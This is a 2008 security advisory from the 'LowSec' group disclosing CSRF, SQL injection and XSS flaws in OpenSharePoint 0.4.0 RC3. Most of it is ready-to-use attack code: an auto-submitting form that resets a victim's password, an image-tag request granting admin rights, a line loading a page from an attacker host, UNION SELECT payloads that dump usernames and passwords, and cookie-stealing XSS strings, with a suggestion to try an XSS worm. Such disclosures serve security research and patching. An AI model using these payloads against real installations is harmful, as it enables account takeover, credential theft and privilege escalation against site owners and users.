osp-sqlxssxsrf.txt

`#=======================================================================#  
.____ _________ ._.  
| | ______ _ __/ _____/ ____ ____| |  
| | / _ \ \/ \/ /\_____ \_/ __ \_/ ___\ |  
| |__( <_> ) / / \ ___/\ \___\|  
|_______ \____/ \/\_/ /_______ /\___ >\___ >_  
\/ \/ \/ \/\/  
(http://wwwlowsec.org)  
#========================================================================#  
Author: C1c4Tr1Z  
Date: 28/08/08  
Application: OpenSharePoint 0.4.0 RC3 (16/02/2006)  
Product WebSite: http://sourceforge.net/projects/opensharepoint/  
  
#========================================================================#  
#============================[CSRF]======================================#  
  
This web application don't seems to have a token or protection for the profile  
forms. With this simple HTML code we can use those forms to change the users  
passwords, and if you modify it a little bit you can change all his info.  
If you add an IMG tag somewhere, to exploit this issue:  
  
<img src="http://www.attacker.com/csrf_attack.html"/>  
  
POC:  
  
<form method="POST" name="frmedit" action="http://www.victim.com/dir_to_OSP/module.php" enctype="multipart/form-data">  
<input type="hidden" name="modname" value="Profile">  
<input type="hidden" name="mf" value="pfedit">  
<input type="hidden" name="ac" value="doedit">  
<input type="password" name="userPassword00" value="NEW_PASSWORD">  
<input type="password" name="userPassword01" value="NEW_PASSWORD">  
</form>  
<script>frmedit.submit()</script>  
  
Or you can simply make yourself an ADMIN. Remember that the GROUPID number 1  
is the admin group.  
  
POC:  
  
<img src="http://www.victim.com/dir_to_OSP/setting.php?modname=User&mf=usredit&usrid=2&ac=3&userFname=hacker&userLname=hacker&userName=USERNAME&userPassword=PASSWORD&userEmail=&userDes=&doclibId=1&userNotify=N&groupId=GROUPID">  
  
#========================================================================#  
#=============================[SQLi]=====================================#  
  
If you have access to the website, you can extract other users passwords,  
usernames, IDs, etc.*  
  
POC:  
  
/module.php?modname=Document&mf=docfile&doclibId=1 AND 1=0 UNION SELECT 1,2,CONCAT_WS(0x3A,userId,userName,userPassword),4,5,6,7,8 FROM focus_sp_user--  
/setting.php?modname=User&mf=usredit&usrid=1 AND 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x3A,userId,userName,userPassword),7,8,9,10,11 FROM focus_sp_user--&ac=2  
  
(*) The table prefix can be changed during the installation. I used the   
default prefix: focus_sp.  
  
#========================================================================#  
#=============================[XSS]======================================#  
  
You are hable to steal the users cookies or make any type of accion/changes  
with JavaScript. You may want to try if some XSS worm with XHR works :)).  
  
POC:  
  
/module.php?modname=Document&doclibId=1&mf=docfind&ac=dofind&keyword="><img/src/onerror=alert(document.cookie) foo="&lookin=0  
/module.php?modname=Appointment&stamp=1217473200"><img/src/onerror=alert(document.cookie) foo="  
  
#========================================================================#  
#========================================================================#  
Contact: C1c4Tr1Z <[email protected]>  
(http://wwwlowsec.org)  
LowSec! Web Application Security (Lab).  
Deus ex Machina  
#========================================================================#  
`